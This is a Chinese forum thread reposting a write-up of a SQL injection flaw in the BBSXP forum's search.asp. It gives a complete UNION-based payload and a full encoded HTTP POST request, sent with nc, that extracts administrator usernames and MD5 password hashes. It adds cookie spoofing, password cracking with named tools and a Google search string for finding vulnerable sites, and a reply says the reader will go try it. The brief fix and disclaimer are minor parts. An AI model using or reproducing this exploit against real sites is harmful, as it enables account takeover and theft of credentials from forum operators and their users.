返回列表 发帖

新版bbsxp注入漏洞再现,可直接得到管理员帐户密码

前期杂志有篇文章是关于BBSXP的,用的是Cookie注入攻击,作者真是思路巧妙,可以想到逻辑漏洞。当时看了文章后,学校有事情就没读代码。暑假闲着无事,所以就把最新版的BBSXP下载下来读了一遍。BBSXP确实短小精悍,文件有少又短,不过比起DVBBS无论从功能上还是界面上还是有点差别,不过从漏洞上比还确实无分上下, 经过了3年的测试,还是多少有点瑕疵。 一.漏洞寻找 论坛对字符串输入用HTMLEncode转换,数字类型的用int函数调整,Isnumeric函数判断。很显然查询中有数字和字符串作为值输入的肯定不能利用了。不能做为值输入可以做为什么输入呢?这就是问题的关键。我把每个文件带着这个思路粗略浏览了一遍,用了很长时间才在search.asp(好象以前就有过漏洞,改了原来的却有了新的)找到了漏洞,一起看看代码。 <% top if Request.Cookies("username")=empty then error("
  • 你还未登录社区" target=_blank) DetectPost if Request("menu")="ok" then search=Request("search") forumid=Request("forumid") TimeLimit=Request("TimeLimit") content=HTMLEncode(Request("content")) searchxm=HTMLEncode(Request("searchxm")) searchxm2=HTMLEncode(Request("searchxm2")) searchxm2=replace(searchxm2,"@","&") if content=empty then content=Request.Cookies("username") if isnumeric(""&forumid&"") then forumidor="forumid="&forumid&" and" if search="author" then item=""&searchxm&"='"&content&"'" elseif search="key" then item=""&searchxm2&" like '%"&content&"%'" end if if TimeLimit<>"" then TimeLimitList="and lasttime>"&SqlNowString&"-"&int(TimeLimit)&"" sql="select top "&MaxSearch&" * from forum where deltopic<>1 and "&forumidor&" "&item&" "&TimeLimitList&" order by lasttime Desc " rs.Open sql,Conn,1 …… 我们仔细研究一下 sql=”select top “&MaxSearch …这句,其中MaxSearch是定义好的,默认值为500,剩下3处是从外面输入的。 1.if isnumeric(""&forumid&"") then forumidor="forumid="&forumid&" and" 只要forumid输入为空,那么forumidor就为空. 2.if TimeLimit<>"" then TimeLimitList="and lasttime>"&SqlNowString&"-"&int(TimeLimit)&"" TimeLimit是个整数,随便输入(输入个1),那么TimeLimitList变成” and lasttime>now()-1”,在MSSQL中变成” and lasttime>getdate()-1”. 3. if search="author" then item=""&searchxm&"='"&content&"'" elseif search="key" then item=""&searchxm2&" like '%"&content&"%'" end if 只要search=”author”,content随便输入(输个abcd),那么item= HTMLEncode(searchxm)=’abcd’,只要我们构造好输入,通过上面的语句,就把SQL语句变为: select top 500 * from forum where deltopic<>1 and [ HTMLEncode(searchxm)] =’abcd’ and lasttime>now()-1 order by lasttime Desc 用中括号括起来的部分前后都没单引号,显然可以利用了。 先看看 HTMLEncode函数 function HTMLEncode(fString) fString=replace(fString,";",";") fString=server.htmlencode(fString) fString=replace(fString,"'","'") fString=replace(fString,"--","--") fString=replace(fString,"\","\") fString=replace(fString,vbCrlf,"
    ") HTMLEncode=fString end function 过滤了”; ‘ -- \ vbcrlf”,还有”< > &”等,其实过滤的也算严密了,程序员也挺难的,过滤多了可能影响使用,少了又会出安全问题。过滤了这么多我们该如何利用呢?大家自然想到了猜测,是一个可行的办法,表的结构也都知道了,也很容易猜的。不过我还是用个简单的办法吧。 二.漏洞利用 还是用本人很熟悉的union查询,对ACCESS和MSSQL都有效。构造过程本人就不写了,直接给大家看结果。 select top 500 * from forum where deltopic<>1 and forumid=0 union all select top 1 1,1,[user].username as topic,forum.use rname,content,forum.posttime,forum.postip,1,1,1,1,1,1,1,[user].userpass as lastname,lasttime,polltopic,clubconfig.adminpassword as pollresult,1 from [user],forum,clubconfig where [user].membercode=5 or forum.id=0 or clubconfig.adminpassword =’abcd’ and lasttime>now()-1 order by lasttime Desc 其中有颜色部分是我们要输入的searchxm的值,中间的每个字符HTMLEncode函数都没有过滤到。至于这个语句的含义,就是让union 前面的语句为假,因为forumid不可能为0,union后面只查询出一条记录,其中包含了管理员的用户名和加密密码,还有社区管理的加密密码,懂SQL语句的朋友一看就明白了。其中数字1没有意义,只是为了匹配字段的类型,保证union前后字段数目和类型一致就行了。这里可以任意构造,有兴趣的朋友可以构造自己的查询,我给出的只是一个参考。 构造好了输入语句,还要构造提交。这时就要想到WSE这个经典之作,如果有人认为对HTTP协议已经熟的可以自己写提交字符串,我也应该劝他省省体力和脑力。 [图1] [图2] 构造的提交如下: POST /bbsxp/search.asp?menu=ok HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://localhost:8000/bbsxp/search.asp Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2) Host: localhost:8000 Content-Length: 481 Connection: Keep-Alive Cache-Control: no-cache Cookie: eremite=0; userpass=E80B5017098950FC58AAD83C8C14978E; username=admin; skins=1; ASPSESSIONIDSSRQSDTB=OGLJMADCECKAFKGCPCCHBKHO; onlinetime=2004%2D8%2D13+20%3A08%3A33; addmin=0 content=fsaf&search=author&searchxm=%20forumid%3D0+union+all+select+top+1+1%2C1%2C%5Buser%5D.username+as+topic%2Cforum.username%2Ccontent%2Cforum.posttime%2Cforum.postip%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C%5Buser%5D.userpass+as+lastname%2Clasttime%2Cpolltopic%2Cclubconfig.adminpassword+as+pollresult%2C1+from+%5Buser%5D%2Cforum%2Cclubconfig+where+%5Buser%5D.membercode%3D5+or+forum.id%3D0+or+clubconfig.adminpassword&searchxm2=topic&TimeLimit=&forumid=&submit1=%BF%AA%CA%BC%CB%D1%CB%F7 其中searchxm部分我自己写了个HTML页面,用WSE截获就可以获得编码了。 这里有个地方需要注意,就是COOKIE中的username和userpass必须是自己真实的。 把上面的代码保存到记事本中用nc提交 nc –vv host porta.txt post.txt为提交信息,a.txt用来接受返回数据。 返回如下信息: … … … … 返回信息中类似上面的结构只有一条,其中abcdef为管理员用户名,两个32位长字符串,前者为abcdef的加密密码,后者为社区管理加密的密码,用的都是MD5加密。 到这里我想大家已经知道怎样利用了。可以利用Cookie欺骗进行前台管理,这要用到IECookiesView,具体过程请看相关教程,在此不再赘述。如果大家有时间可以用MD5CrackV2.2.exe暴力破解后台加密的密码,这个工具确实很实用,8位数字密码几分钟(我的机子)就可以破解了,所以10位数字和8为小写字母都可以强破。 想找BBSXP论坛,可以在Google上输入“Powered by BBSxp 5.00”,80%以上网站存在此漏洞。 三 .总结 本人由于书写匆忙,文章有些地方可能需要理解,拙劣之处还请大家见凉,不足之处请指出。写此文章只是给大家抛砖引玉,分享一下自己的经验,也提醒大家寻找漏洞时要把握程序的结构和流程,提醒作者写程序时不因细小而忽略。其实漏洞修补很简单,只要searchxm部分不是用用户输入,而是程序设定就没问题了,也没必要改变HTMLEncode函数。 暑假闲着无事,顺便把漏洞利用程序写了出来,免的象上次一样自己发现的漏洞让别人帮忙写程序。希望大家不用利用漏洞做破坏,一切后果自己负责。
  • 新版bbsxp注入漏洞再现,可直接得到管理员帐户密码


    TOP

    新版bbsxp注入漏洞再现,可直接得到管理员帐户密码

    恩,回去试试

    TOP

    返回列表 回复 发帖